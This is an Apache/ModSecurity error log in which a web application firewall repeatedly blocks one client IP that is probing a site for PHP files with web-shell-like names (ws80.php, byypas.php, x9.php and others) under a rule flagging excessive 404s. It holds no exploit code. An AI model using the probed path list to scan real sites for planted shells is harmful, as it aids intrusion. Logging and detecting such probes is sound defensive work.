[Sat Apr 11 07:59:49.381079 2026] [:error] [pid 15244:tid 15267] [client 158.158.33.175:10352] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/56c53.php"] [unique_id "admO9YkdEsz5NeAq8w2e_gAAARU"]
[Sat Apr 11 07:59:49.911345 2026] [:error] [pid 33173:tid 33255] [client 158.158.33.175:58306] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/56c53.php"] [unique_id "admO9a8109xRDP2izWgj7AAAAIo"]
[Sat Apr 11 07:59:50.406670 2026] [:error] [pid 33173:tid 33262] [client 158.158.33.175:10329] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/56c53.php"] [unique_id "admO9q8109xRDP2izWgj8wAAAJE"]
[Sat Apr 11 07:59:51.403669 2026] [:error] [pid 15244:tid 15256] [client 158.158.33.175:59189] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "admO94kdEsz5NeAq8w2fBAAAAQo"]
[Sat Apr 11 07:59:51.984397 2026] [:error] [pid 33171:tid 33190] [client 158.158.33.175:16511] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "admO97oqTMlo30hcVw-WfAAAAAQ"]
[Sat Apr 11 07:59:52.496508 2026] [:error] [pid 33288:tid 33308] [client 158.158.33.175:59169] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "admO-GJmwJFFPEgRHfGicQAAANI"]
[Sat Apr 11 07:59:53.188646 2026] [:error] [pid 33288:tid 33305] [client 158.158.33.175:8308] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "admO-WJmwJFFPEgRHfGidwAAAM8"]
[Sat Apr 11 07:59:53.785495 2026] [:error] [pid 15244:tid 15250] [client 158.158.33.175:62417] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "admO-YkdEsz5NeAq8w2fCgAAAQQ"]
[Sat Apr 11 07:59:54.358956 2026] [:error] [pid 33288:tid 33313] [client 158.158.33.175:10348] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "admO-mJmwJFFPEgRHfGigQAAANc"]
[Sat Apr 11 07:59:54.852708 2026] [:error] [pid 33171:tid 33200] [client 158.158.33.175:59149] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "admO-roqTMlo30hcVw-WfgAAAA4"]
[Sat Apr 11 07:59:55.458193 2026] [:error] [pid 33288:tid 33295] [client 158.158.33.175:8837] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "admO-2JmwJFFPEgRHfGiiQAAAMU"]
[Sat Apr 11 07:59:55.950438 2026] [:error] [pid 15244:tid 15257] [client 158.158.33.175:16455] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "admO-4kdEsz5NeAq8w2fDAAAAQs"]
[Sat Apr 11 07:59:56.469568 2026] [:error] [pid 15244:tid 15262] [client 158.158.33.175:59163] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "admO_IkdEsz5NeAq8w2fDQAAARA"]
[Sat Apr 11 07:59:56.978997 2026] [:error] [pid 33173:tid 33257] [client 158.158.33.175:10425] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "admO_K8109xRDP2izWgkDQAAAIw"]
[Sat Apr 11 07:59:57.475326 2026] [:error] [pid 33173:tid 33266] [client 158.158.33.175:16666] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "admO_a8109xRDP2izWgkDwAAAJU"]
[Sat Apr 11 07:59:58.056998 2026] [:error] [pid 15244:tid 15250] [client 158.158.33.175:59184] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "admO_okdEsz5NeAq8w2fFgAAAQQ"]
[Sat Apr 11 07:59:58.553296 2026] [:error] [pid 33288:tid 33304] [client 158.158.33.175:16676] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "admO_mJmwJFFPEgRHfGinQAAAM4"]
[Sat Apr 11 07:59:59.102437 2026] [:error] [pid 33288:tid 33311] [client 158.158.33.175:59155] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "admO_2JmwJFFPEgRHfGioAAAANU"]
[Sat Apr 11 07:59:59.597663 2026] [:error] [pid 33288:tid 33314] [client 158.158.33.175:62377] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "admO_2JmwJFFPEgRHfGipQAAANg"]
[Sat Apr 11 08:00:00.095188 2026] [:error] [pid 15244:tid 15265] [client 158.158.33.175:14051] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "admPAIkdEsz5NeAq8w2fHwAAARM"]
[Sat Apr 11 08:00:00.644538 2026] [:error] [pid 33171:tid 33206] [client 158.158.33.175:16667] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "admPALoqTMlo30hcVw-WjAAAABQ"]
[Sat Apr 11 08:00:01.144527 2026] [:error] [pid 33288:tid 33294] [client 158.158.33.175:59183] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "admPAWJmwJFFPEgRHfGiqwAAAMQ"]
[Sat Apr 11 08:00:01.659469 2026] [:error] [pid 33288:tid 33314] [client 158.158.33.175:62403] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "admPAWJmwJFFPEgRHfGirgAAANg"]
[Sat Apr 11 08:00:02.198631 2026] [:error] [pid 33288:tid 33307] [client 158.158.33.175:54816] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "admPAmJmwJFFPEgRHfGirwAAANE"]
[Sat Apr 11 08:00:02.749036 2026] [:error] [pid 33173:tid 33255] [client 158.158.33.175:16483] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "admPAq8109xRDP2izWgkIQAAAIo"]
[Sat Apr 11 08:00:03.271478 2026] [:error] [pid 33288:tid 33295] [client 158.158.33.175:8267] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "admPA2JmwJFFPEgRHfGitQAAAMU"]
[Sat Apr 11 08:00:03.864323 2026] [:error] [pid 33288:tid 33290] [client 158.158.33.175:62355] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "admPA2JmwJFFPEgRHfGiugAAAMA"]
[Sat Apr 11 08:00:04.376667 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:10431] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws49.php"] [unique_id "admPBIkdEsz5NeAq8w2fKAAAAQU"]
[Sat Apr 11 08:00:04.934593 2026] [:error] [pid 15244:tid 15265] [client 158.158.33.175:14135] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws49.php"] [unique_id "admPBIkdEsz5NeAq8w2fKwAAARM"]
[Sat Apr 11 08:00:05.409340 2026] [:error] [pid 33171:tid 33192] [client 158.158.33.175:8282] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws49.php"] [unique_id "admPBboqTMlo30hcVw-WkgAAAAY"]
[Sat Apr 11 08:00:05.897173 2026] [:error] [pid 15244:tid 15252] [client 158.158.33.175:16697] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws49.php"] [unique_id "admPBYkdEsz5NeAq8w2fMAAAAQY"]
[Sat Apr 11 08:00:06.387755 2026] [:error] [pid 33173:tid 33252] [client 158.158.33.175:14091] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog-header.php"] [unique_id "admPBq8109xRDP2izWgkMAAAAIc"]
[Sat Apr 11 08:00:06.957782 2026] [:error] [pid 33171:tid 33187] [client 158.158.33.175:58352] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog-header.php"] [unique_id "admPBroqTMlo30hcVw-WlQAAAAE"]
[Sat Apr 11 08:00:07.463415 2026] [:error] [pid 33171:tid 33190] [client 158.158.33.175:8847] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog-header.php"] [unique_id "admPB7oqTMlo30hcVw-WlgAAAAQ"]
[Sat Apr 11 08:00:07.961331 2026] [:error] [pid 33288:tid 33310] [client 158.158.33.175:62463] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog-header.php"] [unique_id "admPB2JmwJFFPEgRHfGixgAAANQ"]
[Sat Apr 11 08:00:08.453327 2026] [:error] [pid 33173:tid 33264] [client 158.158.33.175:10371] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "admPCK8109xRDP2izWgkNQAAAJM"]
[Sat Apr 11 08:00:08.934833 2026] [:error] [pid 15244:tid 15263] [client 158.158.33.175:10339] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "admPCIkdEsz5NeAq8w2fNQAAARE"]
[Sat Apr 11 08:00:09.435945 2026] [:error] [pid 15244:tid 15258] [client 158.158.33.175:14121] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "admPCYkdEsz5NeAq8w2fOQAAAQw"]
[Sat Apr 11 08:00:09.928853 2026] [:error] [pid 15244:tid 15247] [client 158.158.33.175:14086] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "admPCYkdEsz5NeAq8w2fQQAAAQE"]
[Sat Apr 11 08:00:10.437782 2026] [:error] [pid 33171:tid 33188] [client 158.158.33.175:14118] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gfd.php"] [unique_id "admPCroqTMlo30hcVw-WmgAAAAI"]
[Sat Apr 11 08:00:10.939100 2026] [:error] [pid 15244:tid 15262] [client 158.158.33.175:16653] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gfd.php"] [unique_id "admPCokdEsz5NeAq8w2fRgAAARA"]
[Sat Apr 11 08:00:11.472340 2026] [:error] [pid 15244:tid 15261] [client 158.158.33.175:16648] File does not exist: /usr/local/apache/htdocs/suspended-page/gfd.php
[Sat Apr 11 08:00:11.715423 2026] [:error] [pid 15244:tid 15255] [client 158.158.33.175:16648] File does not exist: /usr/local/apache/htdocs/suspended-page/callback.php
[Sat Apr 11 08:00:11.955873 2026] [:error] [pid 15244:tid 15259] [client 158.158.33.175:16648] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sat Apr 11 08:00:12.201711 2026] [:error] [pid 15244:tid 15256] [client 158.158.33.175:16648] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Sat Apr 11 08:00:12.450092 2026] [:error] [pid 15244:tid 15257] [client 158.158.33.175:16648] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blogs.php
[Sat Apr 11 08:00:12.707144 2026] [:error] [pid 15244:tid 15260] [client 158.158.33.175:16648] File does not exist: /usr/local/apache/htdocs/suspended-page/zlnckdxn.php
[Sat Apr 11 08:00:12.949534 2026] [:error] [pid 15244:tid 15248] [client 158.158.33.175:16648] File does not exist: /usr/local/apache/htdocs/suspended-page/fs6.php
[Sat Apr 11 08:00:13.194273 2026] [:error] [pid 15244:tid 15262] [client 158.158.33.175:16648] File does not exist: /usr/local/apache/htdocs/suspended-page/xwzs.php
[Sat Apr 11 08:00:13.720472 2026] [:error] [pid 15244:tid 15258] [client 158.158.33.175:16648] File does not exist: /usr/local/apache/htdocs/suspended-page/ws66.php
[Sat Apr 11 08:00:13.961425 2026] [:error] [pid 15244:tid 15253] [client 158.158.33.175:16648] File does not exist: /usr/local/apache/htdocs/suspended-page/ewe.php
[Sat Apr 11 08:00:14.198333 2026] [:error] [pid 15244:tid 15261] [client 158.158.33.175:16648] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "admPDokdEsz5NeAq8w2fXQAAAQ8"]
[Sat Apr 11 08:00:14.760348 2026] [:error] [pid 15244:tid 15264] [client 158.158.33.175:10406] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "admPDokdEsz5NeAq8w2fYAAAARI"]
[Sat Apr 11 08:00:15.319101 2026] [:error] [pid 15244:tid 15256] [client 158.158.33.175:20227] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "admPD4kdEsz5NeAq8w2fYQAAAQo"]
[Sat Apr 11 08:00:15.818000 2026] [:error] [pid 15244:tid 15260] [client 158.158.33.175:62442] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "admPD4kdEsz5NeAq8w2fYgAAAQ4"]
[Sat Apr 11 08:00:16.415486 2026] [:error] [pid 33173:tid 33268] [client 158.158.33.175:16685] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x9.php"] [unique_id "admPEK8109xRDP2izWgkRAAAAJc"]
[Sat Apr 11 08:00:17.078274 2026] [:error] [pid 33288:tid 33299] [client 158.158.33.175:10391] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x9.php"] [unique_id "admPEWJmwJFFPEgRHfGi6gAAAMk"]
[Sat Apr 11 08:00:17.575120 2026] [:error] [pid 33172:tid 33239] [client 158.158.33.175:62420] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x9.php"] [unique_id "admPETn2G0IJw5EZY9l42gAAAFU"]
[Sat Apr 11 08:00:18.076205 2026] [:error] [pid 15244:tid 15269] [client 158.158.33.175:20389] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x9.php"] [unique_id "admPEokdEsz5NeAq8w2fdwAAARc"]
[Sat Apr 11 08:00:18.555693 2026] [:error] [pid 33172:tid 33234] [client 158.158.33.175:20270] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "admPEjn2G0IJw5EZY9l42wAAAFA"]
[Sat Apr 11 08:00:19.067122 2026] [:error] [pid 33173:tid 33259] [client 158.158.33.175:14022] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "admPE68109xRDP2izWgkTQAAAI4"]
[Sat Apr 11 08:00:19.645564 2026] [:error] [pid 33171:tid 33199] [client 158.158.33.175:14108] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "admPE7oqTMlo30hcVw-WpAAAAA0"]
[Sat Apr 11 08:00:20.156797 2026] [:error] [pid 15244:tid 15258] [client 158.158.33.175:16693] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "admPFIkdEsz5NeAq8w2ffgAAAQw"]
